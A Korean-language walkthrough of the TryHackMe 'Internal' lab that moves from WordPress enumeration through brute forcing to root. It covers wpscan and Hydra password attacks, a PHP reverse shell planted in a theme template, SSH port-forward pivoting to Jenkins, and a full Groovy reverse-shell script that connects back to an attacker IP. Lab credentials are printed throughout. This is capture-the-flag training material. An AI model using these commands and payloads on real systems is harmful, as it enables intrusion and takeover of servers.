본문 바로가기

InfoSec Log/PenTesting

[PenTesting] Internal Writeup @TryHackMe

Target: Internal@TryHackMe

 

Core Techniques: WordPress Exploitation, Pivoting (via SSH Local Port Forwarding), Password Brute Forcing Attack

 

Target IP: 10.10.236.95

 

 

 

Reconnaissance

 

먼저 Nmap을 통해 대상 시스템에 열린 포트를 스캔한다. 그 결과, 현재 대상 시스템에는 22, 80번 포트가 열려있다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# nmap -T4 -p- 10.10.236.95
┌──(root㉿kali)-[~/tryhackme/internal]
└─# nmap -T4 -sC -sV -Pn -oA internal 10.10.236.95

 

/etc/hosts 파일을 통해 대상 시스템의 IPinternal.thm 도메인을 맵핑한 후, 브라우저를 통해 대상 시스템의 80번 포트에 접속해보면, 아래 그림에서 보듯이, Apache2 웹서버의 기본 페이지가 표시되고 있는 것을 확인할 수 있다. 



이후, Gobuster를 이용하여 디렉토리 스캔을 진행한다. 해당 결과는 아래 그림을 통해 확인할 수 있다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://internal.thm/ -t 64

 

디렉토리 스캔을 통해 확인한 /blog 경로에 접속해보도록 한다. 그 결과, 아래 그림에서 보듯, WordPress CMS로 구축된 웹페이지가 나오는 것을 확인할 수 있다.

 

또한 해당 페이지에는 아래 그림에서 보듯 로그인 페이지로 이동하는 링크가 참조되어 있다.

 

해당 로그인 버튼을 눌러, 로그인 페이지로 이동한 후, ID:PASSWD를 임의의 값인, admin:admin으로 로그인을 시도해본다. 그 결과, 아래 그림에서 보듯, 비밀번호가 일치하지 않는다는 에러메시지가 응답 결과로 출력되는 것을 확인할 수 있다.

 

다시 한번, 아이디와 패스워드를 test:test라는 임의의 값을 입력하여 로그인을 시도해보면, 아래 그림에서 보듯, 위 그림과는 다른 에러 메시지가 나온다. 즉 이로써, 해당 WordPress의 사용자로, admin이라는 계정이 존재하는 것을 파악할 수 있다.

 



대상 시스템에 WordPress가 구동 중이므로, WPScan을 이용하여 해당 WordPress에 대한 더 많은 정보를 수집하고, 취약점이 존재하는지 스캔해본다. 

 

해당 WordPress에 대해 스캔 시, 아래 코드에서 보듯, --enumerate 옵션을 추가하여 WordPress에 대해 알려진 취약점 중, 현재 해당 WordPress에서 사용 중인 플러그인(vp) 및 테마(vt)가 존재하는지(vp), 해당 WordPress에 존재하는 사용자 목록을 탐색(u)하도록 한다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# wpscan --url "http://internal.thm/blog/" --enumerate vp,u,vt

 

그 결과, 아래 그림에서 보듯, 현재 해당 WordPress에는 위에서 로그인 시도에 따른 서로 다른 두 에러메시지를 통해 파악한 것과 같이, admin 사용자가 존재하는 것을 확인할 수 있다.

 

 

 

 

 

Exploitation

 

이번에는 알아낸 admin 사용자를 대상으로 해당 WordPress에 Brute Forcing 공격을 수행하도록 하여, admin 사용자의 비밀번호를 알아내보록 한다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# wpscan --url "http://internal.thm/blog" --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 50

 

그 결과, 아래 그림에서 보듯, admin 사용자의 비밀번호가 my2boys 인 것을 확인할 수 있다. 

 

획득한 admin 사용자의 계정 정보를 이용하여 로그인을 시도해보면, 아래 그림에서 보듯, 관리자 대시보드에 성공적으로 접근할 수 있는 것을 확인할 수 있다. 또한 현재 구동 중인 WordPress의 버전이 5.4.2인 것을 아래 그림을 통해 확인할 수 있다.



이전 WPScan을 이용하여 출력된 결과를 확인해보면, 아래 그림에서 보듯, 현재 해당 WordPress에서 사용 중인 테마가 twentyseventeen인 것을 확인할 수 있다. 또한 해당 테마의 코드가 어느 디렉토리에 존재하는지, 전체 URL이 표시되어 있는 것을 아래 그림에서 확인할 수 있다.

 

따라서, 관리자 권한을 가진 admin 사용자를 통해, 해당 WordPress 테마의 코드를 리버스 쉘 코드로 수정하여, 공격자와 역방향 연결을 만들어 내도록 한다.

 

먼저 Appearance -> Theme Editor -> 404 Template으로 이동하여, 404.php 파일의 내용을 아래 그림에서와 같이 PHP Reverse Shell 코드로 덮어씌우도록 한다. PHP Reverse Shell 코드는 아래 웹페이지에서 PentestMonkey의 PHP 리버스 쉘 코드를 사용하도록 한다. 여기서 IP와 PORT는 각각 공격자의 IP와 Netcat을 통해 Listening 상태로 대기하고 있을 포트 번호를 가리킨다.

 

https://www.revshells.com/

 

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

www.revshells.com

 

 

템플릿 코드를 리버스 쉘 코드로 변경하기 전, 먼저 아래의 명령어를 통해, 공격자 측에서 7777번 포트로 Listening 상태로 대기하고 있도록 한다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# nc -lvnp 7777

 

그후, 다음의 URL을 브라우저에 입력하여 공격자와 역방향 연결을 시도한다.

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

 

그 결과, 아래 그림에서 보듯 공격자와 역방향 연결에 성공하여, 초기 침투에 성공한 것을 확인할 수 있다.

 

 

 

 

Privilege Escalation

 

$ python -c "import pty;pty.spawn('/bin/bash')"

 

대상 시스템의 쉘 환경을 위 명령어를 통해 업그레이드 해준 후, /opt 디렉토리 내 목록을 확인해보면, wp-save.txt 파일이 존재하는 것을 확인할 수 있다. 그리고  해당 파일의 내용을 확인해보면, 아래 그림에서 보듯, Aubreanna라는 사용자의 계정 정보가 노출되고 있는 것을 확인할 수 있다.

 

획득한 계정정보를 이용하여 대상 시스템에서 aubreanna 사용자로 계정 전환을 해보록 한다. 그 결과, 아래 그림에서 보듯, 위에서 획득한 비밀번호를 통해 aubreanna 사용자로 로그인이 가능한 것을 확인할 수 있다.

 

aubreanna 사용자로 계정 전환 후, 해당 사용자의 홈 디렉토리로 이동 후, 해당 디렉토리 목록을 나열해보면, 아래 그림에서 보듯 jenkins.txt 파일이 존재하며, 해당 파일의 내용을 확인해보면, 내부 IP 대역인 172.17.0.0/16에서 8080번 포트로 Jenkins 서비스가 실행 중인 것을 확인할 수 있다.

 

대상 시스템에서, ifconfig 명령어를 통해 해당 시스템에 할당된 IP 목록들을 확인해보면, 아래 그림에서 보듯, 해당 IP 대역은 Docker의 네트워크 대역인 것을 알 수 있다. 즉 현재 대상 시스템에서 Docker를 이용하여 Jenkins 서비스를 실행 중인 것을 파악할 수 있다. 



즉 현재 대상 시스템의 외부 IP이자, SSH 포트가 열려있는 네트워크와는 다른 내부 IP 대역의 네트워크이므로, 해당 시스템에 침투하기 위해서는 SSH 포트가 열려 있는 외부 IP 대역의 네트워크를 브릿지 삼아 경유하여 Jenkins가 실행중인 서버로 침투하는 방법을 생각해 볼 수 있다.

 

즉 Jenkins가 실행 중인 서버로 침투하기 위해 사용할 Pivoting 방법으로, SSH Local Port Forwarding 방법을 사용하도록 한다.

 

즉 아래 코드 및 그림에서 보듯, 공격자 로컬 서버의 7979번 포트와 대상 서버의 외부 IP인 10.10.23695 간에 SSH 터널을 생성하고, 공격자 측에서의 127.0.0.1:7979 요청이 둘 간에 생성한 SSH 터널을 통해, 10.10.236.95에 전달되고, 해당 서버는 이를 Jenkins가 실행 중인 서버인 172.17.0.2의 8080번 포트로 포워딩 하게 된다.

 

그리고 해당 요청에 대한 응답 결과의 경우, 다시 10.10.236.95의 서버를 거쳐, 공격자 서버의 127.0.0.1의 7979번 포트로 전달되어 해당 포트에서 출력되게 된다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# ssh -L 7979:172.17.0.2:8080 aubreanna@10.10.236.95

 

SSH Local Port Forwarding 후, 브라우저를 통해, 공격자 자신의 7979번 포트로 HTTP 요청을 보내면, 아래 그림에서 보듯, Jenkins 로그인 페이지로 리다이렉션 되는 것을 확인할 수 있다.

 

임의의 아이디와 비밀번호를 입력하여, 로그인을 시도해보면, 아래 그림에서 보듯, Invalid … 에러메시지가 응답 결과로 반환된다.

또한 로그인 시, 요청 트래픽을 Burpsuite으로 가로채어, 요청 메시지를 확인해보면, 아래 그림에서 보듯, 로그인 요청 시, 어떠한 HTTP Method(POST)를 사용하고, 어느 경로(/j_acegi_security_check)로 요청을 보내고, 요청 메시지 본문에는 어떠한 파라미터와 값들이 첨부되었는지 확인할 수 있다. 

 

 

이러한 정보들을 토대로, Hydra를 이용하여, admin 사용자에 대한 Brute Forcing 공격을 수행하여 비밀번호를 알아내도록 한다. 그 결과, admin 사용자의 비밀번호가 spongebob인 것을 아래 그림을 통해 확인할 수 있다.

┌──(root㉿kali)-[~/tryhackme/internal]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 7979 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:invalid" -t 20

 

 

획득한 계정정보를 가지고 로그인 한 후, Jenkins 서비스를 이용하여 공격자와 대상 시스템의 내부 네트워크 간 역방향 연결을 만들어내기 위해서, Jenkins 서비스에 존재하는 스크립트 실행 기능을 이용하도록 한다. 따라서 먼저 아래와 같이, Manage Jenkins 탭으로 이동한다.



그후, 아래 그림에서 보듯, 임의의 스크립트를 실행하기 위해, Script Console 기능을 이용하도록 한다.

 

공격자와의 역방향 연결에 사용할 Revershell Script는 Groovy script를 사용하도록 한다. 해당 스크립트는 아래에서 확인할 수 있다.

 

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/?source=post_page-----497944a7994b--------------------------------#java-alternative-1

 

Reverse Shell Cheat Sheet - Internal All The Things

Active Directory and Internal Pentest Cheatsheets

swisskyrepo.github.io

String host="10.4.97.210";
int port=4444;
String cmd=/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

 

 

해당 스크립트를 실행하기 전에 먼저 공격자 측에서 Netcat을 통해 4444번 포트에서 Listening 상태로 대기하고 있도록 한다.

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444            
listening on [any] 4444 …

 

 

그 후, 해당 스크립트를 실행하면, 아래 그림에서 보듯, Jenkins 서버와 역방향 연결에 성공한 것을 확인할 수 있다.

 

그리고 해당 서버의 /opt 디렉토리로 이동 후, 파일 목록을 확인해보면, note.txt 파일이 존재하는 것을 아래 그림을 통해 확인할 수 있으며, 또한 해당 파일의 내용을 열람해보면, root 사용자의 계정정보가 해당 파일 내용에 포함되어 있는 것을 확인할 수 있다.



대상 시스템에는 22번 포트가 열려있으므로 SSH를 이용하여 위에서 획득한 Root 사용자로 원격 접속을 시도한다. 그러면 아래 그림에서 보듯, 성공적으로 Root 사용자로 접속하여, 공격자가 Root 권한을 획득한 것을 확인할 수 있다.